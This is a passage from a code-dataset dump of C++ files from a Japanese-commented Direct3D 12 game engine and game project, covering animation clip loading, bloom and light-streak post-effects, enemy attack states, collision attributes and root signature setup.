\"Punch\");\n\t\t\tse->Init(L\"Assets/sound/Goblin_Punch1.wav\");\n\t\t\tse->Play(false);\n\t\t\tse->SetVolume(1.0f);\n\t\t}\n\t}\n\n\t//if (e->IsOnGround())\n\t\t//e->SetVelocity(Vector3::Zero);\n\n\tif(!m_isTakOff)\n\t\t//m_isTakOff = t>=0.5f;\n\t\tm_isTakOff = !e->IsOnGround();\n\t\n\treturn this;\n}\n\nvoid EnemyShortRangeLongJampAttackState::Exit(IEnemy* e)\n{\n\te->SetVelocity(Vector3::Zero);\n}\n"
},
{
"alpha_fraction": 0.6789947748184204,
"alphanum_fraction": 0.6870554685592651,
"avg_line_length": 28.690141677856445,
"blob_id": "e3bc8f1d5917135de7a76c8b006486ddbd6a4940",
"content_id": "9b93b8182aaec006d301a135ca479a5b4796682c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2499,
"license_type": "no_license",
"max_line_length": 88,
"num_lines": 71,
"path": "/UsualEngineR/Graphics/AnimationClip.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "/*!\n *@brief\tアニメーションクリップ。\n */\n\n#include \"PreCompile.h\"\n#include \"AnimationClip.h\"\n\nnamespace UER {\n\n\tCAnimationClip::~CAnimationClip()\n\t{\n\t\t\n\t}\n\n\tvoid CAnimationClip::Load(const char* filePath)\n\t{\n\t\tm_tkaFile = TkaFile::GetManager().Load(filePath);\n\t\t//m_tkaFile.Load(filePath);\n\t\tif(m_tkaFile->IsLoaded() == false){\n\t\t\n\t\t\tMessageBoxA(nullptr,\"アニメーションクリップのオープンに失敗しました。ファイルパス : %s\\n\"\n\t\t\t\t\t\t\t\t\t \"原因として、下記の2点が考えられます。\\n\"\n\t\t\t\t\t\t\t\t\t \"① ファイルパスが間違えている。\\n\"\n\t\t\t\t\t\t\t\t\t \"② Assetsフォルダの中にファイルが存在しない。\\n\"\n\t\t\t\t\t\t\t\t\t \"この2点を確認して、問題が存在しない場合は、一度VisualStudioのビルド/リビルドを行ってみてください。\\n\", filePath,MB_OK);\n\t\t\t\n\t\t\treturn;\n\t\t}\n\t}\n\n\tvoid CAnimationClip::BuildKeyFramesAndAnimationEvents()\n\t{\n\t\t//アニメーションイベントの構築。\n\t\tauto numAnimEvent = m_tkaFile->GetNumAnimationEvent();\n\t\tif (numAnimEvent > 0) {\n\t\t\tm_animationEvent = std::make_unique<CAnimationEvent[]>(numAnimEvent);\n\t\t\tint eventNo = 0;\n\t\t\tm_tkaFile->QueryAnimationEvents([&](const TkaFile::AnimationEvent & animEvent) {\n\t\t\t\tstatic wchar_t wEventName[256];\n\n\t\t\t\tmbstowcs(wEventName, animEvent.eventName.c_str(), 255);\n\t\t\t\tm_animationEvent[eventNo].SetInvokeTime(animEvent.invokeTime);\n\t\t\t\tm_animationEvent[eventNo].SetEventName(wEventName);\n\t\t\t\teventNo++;\n\t\t\t\t});\n\n\t\t}\n\t\t//キーフレーム情報の構築。\n\t\tm_keyframes.reserve(m_tkaFile->GetNumKeyFrame());\n\t\tm_tkaFile->QueryKeyFrames([&](const TkaFile::KeyFrame & tkaKeyFrame) {\n\t\t\tauto keyframe = std::make_unique<KeyFrame>();\n\t\t\tkeyframe->boneIndex = tkaKeyFrame.boneIndex;\n\t\t\tkeyframe->transform = Matrix::Identity;\n\t\t\tkeyframe->time = tkaKeyFrame.time;\n\t\t\tfor (auto j = 0; j < 4; j++) {\n\t\t\t\tkeyframe->transform.m[j][0] = tkaKeyFrame.transform[j].x;\n\t\t\t\tkeyframe->transform.m[j][1] = tkaKeyFrame.transform[j].y;\n\t\t\t\tkeyframe->transform.m[j][2] = tkaKeyFrame.transform[j].z;\n\t\t\t}\n\t\t\tm_keyframes.push_back(std::move(keyframe));\n\t\t\t});\n\t\t//ボーンインデックスごとのキーフレームの連結リストを作成する。\n\t\tm_keyFramePtrListArray.resize(MAX_BONE);\n\t\tfor (auto& keyframe : m_keyframes) {\n\t\t\tm_keyFramePtrListArray[keyframe->boneIndex].push_back(keyframe.get());\n\t\t\tif (m_topBoneKeyFramList == nullptr) {\n\t\t\t\tm_topBoneKeyFramList = &m_keyFramePtrListArray[keyframe->boneIndex];\n\t\t\t}\n\t\t}\n\t}\n}\n\n"
},
{
"alpha_fraction": 0.6932588219642639,
"alphanum_fraction": 0.7240853905677795,
"avg_line_length": 32.5511360168457,
"blob_id": "3ee8442c83cfe101e1f8c47ee7c717627a73bd92",
"content_id": "f93270e05c2d52a3ce0a4f841db398f7f7da4bbc",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 5954,
"license_type": "no_license",
"max_line_length": 128,
"num_lines": 176,
"path": "/UsualEngineR/Graphics/PostEffect/Bloom.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"PreCompile.h\"\n#include \"Bloom.h\"\n\n#include \"PostEffect.h\"\n\nnamespace UER\n{\n\tvoid Bloom::Release()\n\t{\n\t}\n\n\tvoid Bloom::Init(PostEffect* pe)\n\t{\n\t\tm_postEffect = pe;\n\n\t\tfloat clearColor[4] = { 0,0,0,0 };\n\t\tm_combineRT.Create(FRAME_BUFFER_W, FRAME_BUFFER_H, 1, 1, DXGI_FORMAT_R32G32B32A32_FLOAT, DXGI_FORMAT_D16_UNORM, clearColor);\n\t\tm_luminanceRT.Create(FRAME_BUFFER_W, FRAME_BUFFER_H, 1, 1, DXGI_FORMAT_R32G32B32A32_FLOAT, DXGI_FORMAT_D16_UNORM, clearColor);\n\n\t\tm_combineRT.SetName(L\"BloomCombineRT\");\n\t\tm_luminanceRT.SetName(L\"BloomLuminanceRT\");\n\n\t\tauto* currentRT = &m_luminanceRT;\n\t\tfor (int i = 0; i < MAX_GAUSS; i++)\n\t\t{\n\t\t\tm_blur[i].Init(FRAME_BUFFER_W>>i, FRAME_BUFFER_H>>i, currentRT, currentRT->GetWidth(), currentRT->GetHeight(), currentRT);\n\t\t}\n\n\t\tm_rootSign.Init(\n\t\t\tD3D12_FILTER_MIN_MAG_MIP_LINEAR,\n\t\t\tD3D12_TEXTURE_ADDRESS_MODE_CLAMP,\n\t\t\tD3D12_TEXTURE_ADDRESS_MODE_CLAMP,\n\t\t\tD3D12_TEXTURE_ADDRESS_MODE_CLAMP\n\t\t);\n\n\t\tm_vsBloom.LoadVS(L\"Assets/shader/Bloom.fx\", \"VSMain\");\n\t\tm_psLuminance.LoadPS(L\"Assets/shader/Bloom.fx\", \"PSMain_SamplingLuminance\");\n\t\tm_psCombine.LoadPS(L\"Assets/shader/Bloom.fx\", \"PSMain_Combine\");\n\t\t{\n\t\t\tD3D12_INPUT_ELEMENT_DESC inputElementDescs[] =\n\t\t\t{\n\t\t\t\t{ \"POSITION\", 0, DXGI_FORMAT_R32G32B32A32_FLOAT, 0, 0, D3D12_INPUT_CLASSIFICATION_PER_VERTEX_DATA, 0 },\n\t\t\t\t{ \"TEXCOORD\", 0, DXGI_FORMAT_R32G32_FLOAT, 0, 16, D3D12_INPUT_CLASSIFICATION_PER_VERTEX_DATA, 0 },\n\t\t\t};\n\t\t\tauto rastDesc = CD3DX12_RASTERIZER_DESC(D3D12_DEFAULT);\n\t\t\t//rastDesc.DepthClipEnable = FALSE;\n\t\t\t//CD3DX12_DEPTH_STENCIL_DESC \n\t\t\t//パイプラインステートを作成。\n\t\t\tD3D12_GRAPHICS_PIPELINE_STATE_DESC psoDesc = { 0 };\n\t\t\tpsoDesc.InputLayout = { inputElementDescs, _countof(inputElementDescs) };\n\t\t\tpsoDesc.pRootSignature = m_rootSign.Get();\n\t\t\tpsoDesc.VS = CD3DX12_SHADER_BYTECODE(m_vsBloom.GetCompiledBlob());\n\t\t\tpsoDesc.PS = CD3DX12_SHADER_BYTECODE(m_psLuminance.GetCompiledBlob());\n\t\t\tpsoDesc.RasterizerState = rastDesc;\n\t\t\tpsoDesc.RasterizerState.CullMode = D3D12_CULL_MODE_NONE;\n\t\t\tpsoDesc.BlendState = CD3DX12_BLEND_DESC(D3D12_DEFAULT);\n\t\t\tpsoDesc.DepthStencilState.DepthEnable = FALSE;\n\t\t\tpsoDesc.DepthStencilState.DepthWriteMask = D3D12_DEPTH_WRITE_MASK_ZERO;\n\t\t\tpsoDesc.DepthStencilState.DepthFunc = D3D12_COMPARISON_FUNC_LESS_EQUAL;\n\t\t\tpsoDesc.DepthStencilState.StencilEnable = FALSE;\n\t\t\tpsoDesc.SampleMask = UINT_MAX;\n\t\t\tpsoDesc.PrimitiveTopologyType = D3D12_PRIMITIVE_TOPOLOGY_TYPE_TRIANGLE;\n\t\t\tpsoDesc.NumRenderTargets = 1;\n\t\t\tpsoDesc.RTVFormats[0] = DXGI_FORMAT_R32G32B32A32_FLOAT;\t\t//アルベドカラー出力用。\n\t\t\tpsoDesc.DSVFormat = DXGI_FORMAT_D16_UNORM;\n\t\t\tpsoDesc.SampleDesc.Count = 1;\n\t\t\tm_pipeLuminance.Init(psoDesc);\n\n\t\t\tpsoDesc.PS = CD3DX12_SHADER_BYTECODE(m_psCombine.GetCompiledBlob());\n\t\t\tm_pipeCombine.Init(psoDesc);\n\t\t}\n\n\t\tm_descLuminance.RegistShaderResource(0, g_graphicsEngine->GetCurrentRenderTarget()->GetRenderTargetTexture());\n\t\t\n\t\t\n\t\tm_descLuminance.Commit();\n\n\t\tfor (int i = 0; i < MAX_GAUSS; i++)\n\t\t{\n\t\t\tm_descCombine.RegistShaderResource(i, *m_blur[i].GetOutputTexture());\n\t\t}\n\t\tm_descCombine.Commit();\n\n\n\n\t\tTexture* lightStreeksTex = nullptr;\n\t\tm_lightStreeks.Init(FRAME_BUFFER_W >> 2, FRAME_BUFFER_H>>2, &m_luminanceRT.GetRenderTargetTexture(), lightStreeksTex);\n\t\tVector2 streek = { 1,1 };\n\t\tstreek.Normalize();\n\t\tm_lightStreeks.SetStreeksDirX(streek);\n\t\tstreek.x *= -1.f;\n\t\tm_lightStreeks.SetStreeksDirY(streek);\n\t\tm_lightStreeks.UpdateWeight(Math::PI);\n\n\t\tTexture* texList[] = {\n\t\t\t&m_combineRT.GetRenderTargetTexture(),\n\t\t\tlightStreeksTex\n\t\t};\n\t\tm_copy.Init(texList, TextureCopy::BlendMethod::BM_Add,TextureCopy::TextureNum::Double);\n\t\tTexture* txList[] = {\n\t\t\t&m_combineRT.GetRenderTargetTexture()\n\t\t};\n\t\tm_copy_single.Init(txList, TextureCopy::BlendMethod::BM_Add, TextureCopy::TextureNum::Single);\n\t\t\n\t}\n\tvoid Bloom::Render(RenderContext& rc)\n\t{\n\t\tconst auto& prim = m_postEffect->GetPrimitive();\n\t\trc.WaitUntilFinishDrawingToRenderTarget(g_graphicsEngine->GetCurrentRenderTarget()->GetRenderTargetTexture().Get());\n\t\trc.WaitUntilToPossibleSetRenderTarget(m_luminanceRT);\n\t\trc.SetRenderTarget(m_luminanceRT.GetRTVCpuDescriptorHandle(), m_luminanceRT.GetDSVCpuDescriptorHandle());\n\t\tm_luminanceRT.Clear(rc);\n\t\tD3D12_VIEWPORT viewport;\n\t\tviewport.Height = m_luminanceRT.GetHeight();\n\t\tviewport.Width = m_luminanceRT.GetWidth();\n\t\tviewport.TopLeftX = 0;\n\t\tviewport.TopLeftY = 0;\n\t\tviewport.MinDepth = 0;\n\t\tviewport.MaxDepth = 1;\n\t\trc.SetViewport(viewport);\n\t\trc.SetRootSignature(m_rootSign);\n\t\trc.SetDescriptorHeap(m_descLuminance);\n\t\trc.SetPipelineState(m_pipeLuminance);\n\t\tprim.Draw(rc);\n\n\t\trc.WaitUntilFinishDrawingToRenderTarget(m_luminanceRT);\n\t\tfor (int i = 0; i < MAX_GAUSS; i++)\n\t\t{\n\t\t\tm_blur[i].Render(rc, prim);\n\t\t}\n\n\t\trc.WaitUntilToPossibleSetRenderTarget(m_combineRT);\n\t\trc.SetRenderTarget(m_combineRT.GetRTVCpuDescriptorHandle(), m_combineRT.GetDSVCpuDescriptorHandle());\n\t\tviewport.Height = m_combineRT.GetHeight();\n\t\tviewport.Width = m_combineRT.GetWidth();\n\t\tviewport.TopLeftX = 0;\n\t\tviewport.TopLeftY = 0;\n\t\tviewport.MinDepth = 0;\n\t\tviewport.MaxDepth = 1;\n\t\trc.SetViewport(viewport);\n\t\trc.SetRootSignature(m_rootSign);\n\t\trc.SetDescriptorHeap(m_descCombine);\n\t\trc.SetPipelineState(m_pipeCombine);\n\t\tprim.Draw(rc);\n\n#if 1\n\t\t{\n\t\t\tstatic Vector3 v1( 0.707f, 0.707f, 0.f);\n\t\t\tstatic Vector3 v2(-0.707f, 0.707f, 0.f);\n\n\t\t\tQuaternion rot;\n\t\t\trot.SetRotationDegZ(3);\n\n\t\t\trot.Apply(v1);\n\t\t\trot.Apply(v2);\n\n\t\t\tm_lightStreeks.SetStreeksDirX({ v1.x,v1.y });\n\t\t\tm_lightStreeks.SetStreeksDirY({ v2.x,v2.y });\n\t\t}\n#endif\n\t\tm_lightStreeks.Draw(rc, prim);\n\t\t\n\t}\n\tvoid Bloom::CombineRender(RenderContext& rc, RenderTarget* rt)\n\t{\t\n\t\tD3D12_VIEWPORT vp{ 0,0,FRAME_BUFFER_W,FRAME_BUFFER_H,0,1 };\n\t\trc.SetViewport(vp);\n\n\t\trc.WaitUntilToPossibleSetRenderTarget(*rt);\n\t\trc.WaitUntilFinishDrawingToRenderTarget(m_combineRT);\n\t\tif(m_isAndStreeks)\n\t\t\tm_copy.Render(rc, *rt, m_postEffect->GetPrimitive());\n\t\telse\n\t\t\tm_copy_single.Render(rc, *rt, m_postEffect->GetPrimitive());\n\t}\n}"
},
{
"alpha_fraction": 0.7047619223594666,
"alphanum_fraction": 0.720634937286377,
"avg_line_length": 19.12765884399414,
"blob_id": "13be04fd7163830fbb27807f7fe78c7054b5b255",
"content_id": "f29774acb293656b393a370273c44a6a9c5f9111",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 965,
"license_type": "no_license",
"max_line_length": 76,
"num_lines": 47,
"path": "/Game/Enemy/State/EnemyLongDistanceAttackState.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#pragma once\n#include \"Enemy/State/IEnemyState.h\"\n\nclass EnemyLongDistanceTargetingState;\nclass MuzzleFlash;\n/// <summary>\n/// このクラスはEnemyLongDistanceTargetingStateが保持。\n/// </summary>\nclass EnemyLongDistanceAttackState final :public IEnemyState\n{\npublic:\n\t~EnemyLongDistanceAttackState() override;\n\n\tvoid Init(IK* ik, float bulletSpeed, EnemyLongDistanceTargetingState* ldt);\n\n\tvoid Enter(IEnemy* e) override;\n\tIEnemyState* Update(IEnemy* e) override;\n\tvoid Exit(IEnemy* e) override;\n\n\tvoid SetVelocity(Vector3& v)\n\t{\n\t\tm_velocity = std::move(v);\n\t}\n\tvoid SetTarget(Vector3&& v)\n\t{\n\t\tm_target = v;\n\t}\n\tvoid SetIK(IK* ik)\n\t{\n\t\tm_ik = ik;\n\t}\nprivate:\n\tIK* m_ik = nullptr;\n\tfloat m_timer = 0.f;\n\tconst float m_timeSpan = 0.1f;\n\tint m_shotCount = 0;\n\tconst int m_maxShot = 3;\n\n\tVector3 m_target = Vector3::Zero;\n\n\tVector3 m_velocity = Vector3::Zero;\n\tfloat m_speed = 2000.f;\n\n\tEnemyLongDistanceTargetingState* m_ldt;\n\n\tMuzzleFlash* m_muzzleFlash;\n};"
},
{
"alpha_fraction": 0.6419214010238647,
"alphanum_fraction": 0.671033501625061,
"avg_line_length": 14.636363983154297,
"blob_id": "8e2ac0ff838a08081f499efef527c74cefab69f2",
"content_id": "e044c27255deacf5e71887ff6a78a33edcfa4d29",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 687,
"license_type": "no_license",
"max_line_length": 67,
"num_lines": 44,
"path": "/Game/GameCollisionAttribute.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n\n\n\nenum class GameCollisionAttribute : int\n{\n\tNone\t= 0,\n\tPlayer\t= UER::enCollisionAttr_User,\n\tEnemy\t= Player * 2,\n\tBoss\t= Player * 4,\n\tBombShield\t= Player * 8,\n};\n\n\n/// <summary>\n/// OR OPERATOR\n/// </summary>\n\nint operator|(GameCollisionAttribute v1, GameCollisionAttribute v2)\n{\n\treturn TO_INT(v1) | TO_INT(v2);\n}\ntemplate<class T>\nint operator|(T v1, GameCollisionAttribute v2)\n{\n\treturn TO_INT(v1) | TO_INT(v2);\n}\n\ntemplate<class T>\nint operator|(GameCollisionAttribute v1, T v2)\n{\n\treturn TO_INT(v1) | TO_INT(v2);\n}\n\n\n/// <summary>\n/// AND OPERATOR\n/// </summary>\n\ntemplate<class T>\nint operator&(T v1, GameCollisionAttribute v2)\n{\n\treturn TO_INT(v1) & TO_INT(v2);\n}"
},
{
"alpha_fraction": 0.685436487197876,
"alphanum_fraction": 0.7235162854194641,
"avg_line_length": 34.271427154541016,
"blob_id": "51a9d044121f14fcc39db7ac9875dcd06a919082",
"content_id": "2ae3241a9a784f0113f82f622fc96ab6a0ba41f3",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 4993,
"license_type": "no_license",
"max_line_length": 116,
"num_lines": 140,
"path": "/UsualEngineR/Graphics/PostEffect/LightStreeks.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"PreCompile.h\"\n#include \"LightStreeks.h\"\n\n\n\nnamespace UER\n{\n\tvoid LightStreeks::Init(float width, float height, Texture* inTex, Texture*& outTex)\n\t{\n\t\tfloat cc[4] = { 0,0,0,0 };\n\t\tm_renderTargetX.Create(width, height, 1, 1, DXGI_FORMAT_R32G32B32A32_FLOAT, DXGI_FORMAT_D16_UNORM, cc);\n\t\tm_renderTargetY.Create(width, height, 1, 1, DXGI_FORMAT_R32G32B32A32_FLOAT, DXGI_FORMAT_D16_UNORM, cc);\n\t\tm_renderTargetX.SetName(L\"LightStreeksX\");\n\t\tm_renderTargetY.SetName(L\"LightStreeksY\");\n\n\t\tm_rootSign.Init(\n\t\t\tD3D12_FILTER_MIN_MAG_MIP_LINEAR,\n\t\t\tD3D12_TEXTURE_ADDRESS_MODE_CLAMP,\n\t\t\tD3D12_TEXTURE_ADDRESS_MODE_CLAMP,\n\t\t\tD3D12_TEXTURE_ADDRESS_MODE_CLAMP\n\t\t);\n\t\tm_vs.LoadVS(L\"Assets/shader/LightStreeks.fx\", \"VSMain\");\n\t\tm_ps.LoadPS(L\"Assets/shader/LightStreeks.fx\", \"PSMain\");\n\t\t{\n\t\t\tD3D12_INPUT_ELEMENT_DESC inputElementDescs[] =\n\t\t\t{\n\t\t\t\t{ \"POSITION\", 0, DXGI_FORMAT_R32G32B32A32_FLOAT, 0, 0, D3D12_INPUT_CLASSIFICATION_PER_VERTEX_DATA, 0 },\n\t\t\t\t{ \"TEXCOORD\", 0, DXGI_FORMAT_R32G32_FLOAT, 0, 16, D3D12_INPUT_CLASSIFICATION_PER_VERTEX_DATA, 0 },\n\t\t\t};\n\n\t\t\tD3D12_BLEND_DESC blendDesc;\n\t\t\tblendDesc.AlphaToCoverageEnable = FALSE;\n\t\t\tblendDesc.IndependentBlendEnable = FALSE;\n\t\t\tD3D12_RENDER_TARGET_BLEND_DESC rtblenddesc =\n\t\t\t{\n\t\t\t\tTRUE,FALSE,\n\t\t\t\t//D3D12_BLEND_SRC_ALPHA,D3D12_BLEND_INV_SRC_ALPHA,D3D12_BLEND_OP_ADD,\n\t\t\t\t//D3D12_BLEND_SRC_ALPHA,D3D12_BLEND_INV_SRC_ALPHA,D3D12_BLEND_OP_ADD,\n\t\t\t\tD3D12_BLEND_ONE,D3D12_BLEND_ONE,D3D12_BLEND_OP_ADD,\n\t\t\t\tD3D12_BLEND_ONE,D3D12_BLEND_ONE,D3D12_BLEND_OP_ADD,\n\t\t\t\tD3D12_LOGIC_OP_NOOP,\n\t\t\t\tD3D12_COLOR_WRITE_ENABLE_ALL\n\t\t\t\t//((D3D12_COLOR_WRITE_ENABLE_RED | D3D12_COLOR_WRITE_ENABLE_GREEN) | D3D12_COLOR_WRITE_ENABLE_BLUE)\n\t\t\t};\n\t\t\tfor (auto& blend : blendDesc.RenderTarget)\n\t\t\t{\n\t\t\t\tblend = rtblenddesc;\n\t\t\t}\n\n\t\t\t//パイプラインステートを作成。\n\t\t\tD3D12_GRAPHICS_PIPELINE_STATE_DESC psoDesc = { 0 };\n\t\t\tpsoDesc.InputLayout = { inputElementDescs, _countof(inputElementDescs) };\n\t\t\tpsoDesc.pRootSignature = m_rootSign.Get();\n\t\t\tpsoDesc.VS = CD3DX12_SHADER_BYTECODE(m_vs.GetCompiledBlob());\n\t\t\tpsoDesc.PS = CD3DX12_SHADER_BYTECODE(m_ps.GetCompiledBlob());\n\t\t\tpsoDesc.RasterizerState = CD3DX12_RASTERIZER_DESC(D3D12_DEFAULT);\n\t\t\tpsoDesc.RasterizerState.CullMode = D3D12_CULL_MODE_NONE;\n\t\t\tpsoDesc.BlendState = blendDesc;\n\t\t\tpsoDesc.DepthStencilState.DepthEnable = FALSE;\n\t\t\tpsoDesc.DepthStencilState.DepthWriteMask = D3D12_DEPTH_WRITE_MASK_ZERO;\n\t\t\tpsoDesc.DepthStencilState.DepthFunc = D3D12_COMPARISON_FUNC_LESS_EQUAL;\n\t\t\tpsoDesc.DepthStencilState.StencilEnable = FALSE;\n\t\t\tpsoDesc.SampleMask = UINT_MAX;\n\t\t\tpsoDesc.PrimitiveTopologyType = D3D12_PRIMITIVE_TOPOLOGY_TYPE_TRIANGLE;\n\t\t\tpsoDesc.NumRenderTargets = 1;\n\t\t\tpsoDesc.RTVFormats[0] = DXGI_FORMAT_R32G32B32A32_FLOAT;\t\t//アルベドカラー出力用。\n\t\t\tpsoDesc.DSVFormat = DXGI_FORMAT_D16_UNORM;\n\t\t\tpsoDesc.SampleDesc.Count = 1;\n\t\t\tm_pipState.Init(psoDesc);\n\n\t\t\tm_constBufferX.Init(sizeof(SConstBuffData));\n\t\t\tm_constBufferY.Init(sizeof(SConstBuffData));\n\n\t\t\tm_descHeapX.RegistConstantBuffer(0, m_constBufferX);\n\t\t\tm_descHeapX.RegistShaderResource(0, m_renderTargetX.GetRenderTargetTexture());\n\t\t\tm_descHeapX.Commit();\n\n\t\t\tm_descHeapY.RegistConstantBuffer(0, m_constBufferY);\n\t\t\tm_descHeapY.RegistShaderResource(0, m_renderTargetX.GetRenderTargetTexture());\n\t\t\tm_descHeapY.Commit();\n\n\t\t\toutTex = &m_renderTargetY.GetRenderTargetTexture();\n\t\t}\n\t\tm_texCopy.Init(&inTex, TextureCopy::BlendMethod::BM_Add, TextureCopy::TextureNum::Single);\n\t}\n\tvoid LightStreeks::Draw(RenderContext& rc,const Primitive& prim)\n\t{\n\t\trc.WaitUntilToPossibleSetRenderTarget(m_renderTargetX);\n\t\tm_renderTargetX.Clear(rc);\n\t\tm_texCopy.Render(rc, m_renderTargetX, prim);\n\t\trc.WaitUntilFinishDrawingToRenderTarget(m_renderTargetX);\n\n\t\trc.WaitUntilToPossibleSetRenderTarget(m_renderTargetY);\n\t\trc.SetRenderTargets(1,&m_renderTargetY);\n\t\tm_renderTargetY.Clear(rc);\n\n\t\tm_constBufferX.CopyToVRAM(m_constBuffDataX);\n\t\t\n\t\trc.SetRootSignature(m_rootSign);\n\t\trc.SetDescriptorHeap(m_descHeapX);\n\t\trc.SetPipelineState(m_pipState);\n\t\tprim.Draw(rc);\n\n\t\t\n\t\t//rc.WaitUntilFinishDrawingToRenderTarget(m_renderTargetX);\n\t\t//rc.WaitUntilToPossibleSetRenderTarget(m_renderTargetY);\n\t\t//m_renderTargetY.Clear(rc);\n\t\t//rc.CopyResource(m_renderTargetY.GetRenderTargetTexture().Get(), m_renderTargetX.GetRenderTargetTexture().Get());\n\n\t\tm_constBufferY.CopyToVRAM(m_constBuffDataY);\n\t\trc.SetDescriptorHeap(m_descHeapY);\n\t\tprim.Draw(rc);\n\n\t\trc.WaitUntilFinishDrawingToRenderTarget(m_renderTargetY);\n\t}\n\tvoid LightStreeks::UpdateWeight(float d)\n\t{\n\t\tif (d == 0.f)\n\t\t{\n\t\t\tfor (int i = 0; i < 8; i++)\n\t\t\t{\n\t\t\t\tm_constBuffDataX.weights[i] = 0.f;\n\t\t\t\tm_constBuffDataY.weights[i] = 0.f;\n\t\t\t}\n\t\t\treturn;\n\t\t}\n\n\t\tfloat total = 0;\n\t\tfor (int i = 0; i < 8; i++) {\n\t\t\tm_constBuffDataX.weights[i] = expf(-0.5f * (float)(i * i) / d);\n\t\t\ttotal += 2.0f * m_constBuffDataX.weights[i];\n\t\t}\n\t\t// 規格化\n\t\tfor (int i = 0; i < 8; i++) {\n\t\t\tm_constBuffDataX.weights[i] /= total;\n\t\t\tm_constBuffDataY.weights[i] = m_constBuffDataX.weights[i];\n\t\t}\n\t\t\n\t}\n}"
},
{
"alpha_fraction": 0.7106211185455322,
"alphanum_fraction": 0.7434788942337036,
"avg_line_length": 34.58461380004883,
"blob_id": "27fb270bdec5a84c8f6f4cf80e6eec3cbcbe3f3d",
"content_id": "9effabf1aa3de2518c0d3a7e876ba8ea83eed441",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 7035,
"license_type": "no_license",
"max_line_length": 137,
"num_lines": 195,
"path": "/UsualEngineR/Graphics/RootSignature.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"PreCompile.h\"\n#include \"RootSignature.h\"\n\n\nnamespace UER\n{\n\t\n\tenum {\n\t\tenDescriptorHeap_CB,\n\t\tenDescriptorHeap_SRV,\n\t\tenDescriptorHeap_UAV,\n\t\tenNumDescriptorHeap\n\t};\n\t\n\tbool RootSignature::Init(\n\t\tD3D12_FILTER samplerFilter,\n\t\tD3D12_TEXTURE_ADDRESS_MODE textureAdressModeU,\n\t\tD3D12_TEXTURE_ADDRESS_MODE textureAdressModeV,\n\t\tD3D12_TEXTURE_ADDRESS_MODE textureAdressModeW,\n\t\tUINT maxCbvDescriptor ,\n\t\tUINT maxSrvDescriptor ,\n\t\tUINT maxUavDescritor\n\t)\n\t{\n\t\tauto d3dDevice = g_graphicsEngine->GetD3DDevice();\n\t\n\t\tD3D12_STATIC_SAMPLER_DESC sampler = {};\n\t\tsampler.Filter = samplerFilter;\n\t\tsampler.AddressU = textureAdressModeU;\n\t\tsampler.AddressV = textureAdressModeV;\n\t\tsampler.AddressW = textureAdressModeW;\n\t\tsampler.MipLODBias = 0;\n\t\tsampler.MaxAnisotropy = 0;\n\t\tsampler.ComparisonFunc = D3D12_COMPARISON_FUNC_NEVER;\n\t\tsampler.BorderColor = D3D12_STATIC_BORDER_COLOR_OPAQUE_BLACK;\n\t\tsampler.MinLOD = 0.0f;\n\t\tsampler.MaxLOD = D3D12_FLOAT32_MAX;\n\t\tsampler.ShaderRegister = 0;\n\t\tsampler.RegisterSpace = 0;\n\t\tsampler.ShaderVisibility = D3D12_SHADER_VISIBILITY_PIXEL;\n\t\n\t\tCD3DX12_DESCRIPTOR_RANGE1 ranges[enNumDescriptorHeap];\n\t\tCD3DX12_ROOT_PARAMETER1 rootParameters[enNumDescriptorHeap];\n\t\n\t\tranges[enDescriptorHeap_CB].Init(D3D12_DESCRIPTOR_RANGE_TYPE_CBV, maxCbvDescriptor, 0, 0, D3D12_DESCRIPTOR_RANGE_FLAG_DATA_STATIC);\n\t\trootParameters[enDescriptorHeap_CB].InitAsDescriptorTable(1, &ranges[enDescriptorHeap_CB]);\n\t\n\t\tranges[enDescriptorHeap_SRV].Init(D3D12_DESCRIPTOR_RANGE_TYPE_SRV, maxSrvDescriptor, 0, 0, D3D12_DESCRIPTOR_RANGE_FLAG_DATA_STATIC);\n\t\trootParameters[enDescriptorHeap_SRV].InitAsDescriptorTable(1, &ranges[enDescriptorHeap_SRV]);\n\t\n\t\tranges[enDescriptorHeap_UAV].Init(D3D12_DESCRIPTOR_RANGE_TYPE_UAV, maxUavDescritor, 0, 0, D3D12_DESCRIPTOR_RANGE_FLAG_DATA_STATIC);\n\t\trootParameters[enDescriptorHeap_UAV].InitAsDescriptorTable(1, &ranges[enDescriptorHeap_UAV]);\n\t\n\t\t// Allow input layout and deny uneccessary access to certain pipeline stages.\n\t\tD3D12_ROOT_SIGNATURE_FLAGS rootSignatureFlags =\n\t\t\tD3D12_ROOT_SIGNATURE_FLAG_ALLOW_INPUT_ASSEMBLER_INPUT_LAYOUT |\n\t\t\tD3D12_ROOT_SIGNATURE_FLAG_DENY_HULL_SHADER_ROOT_ACCESS |\n\t\t\tD3D12_ROOT_SIGNATURE_FLAG_DENY_DOMAIN_SHADER_ROOT_ACCESS |\n\t\t\tD3D12_ROOT_SIGNATURE_FLAG_DENY_GEOMETRY_SHADER_ROOT_ACCESS;\n\t\n\t\tCD3DX12_VERSIONED_ROOT_SIGNATURE_DESC rootSignatureDesc;\n\t\trootSignatureDesc.Init_1_1(_countof(rootParameters), rootParameters, 1, &sampler, rootSignatureFlags);\n\t\tMicrosoft::WRL::ComPtr<ID3DBlob> signature;\n\t\tMicrosoft::WRL::ComPtr<ID3DBlob> error;\n\t\tD3DX12SerializeVersionedRootSignature(&rootSignatureDesc, D3D_ROOT_SIGNATURE_VERSION_1, &signature, &error);\n\t\tauto hr = d3dDevice->CreateRootSignature(0, signature->GetBufferPointer(), signature->GetBufferSize(), IID_PPV_ARGS(&m_rootSignature));\n\t\tif (FAILED(hr) ){\n\t\t\t//ルートシグネチャの作成に失敗した。\n\t\t\treturn 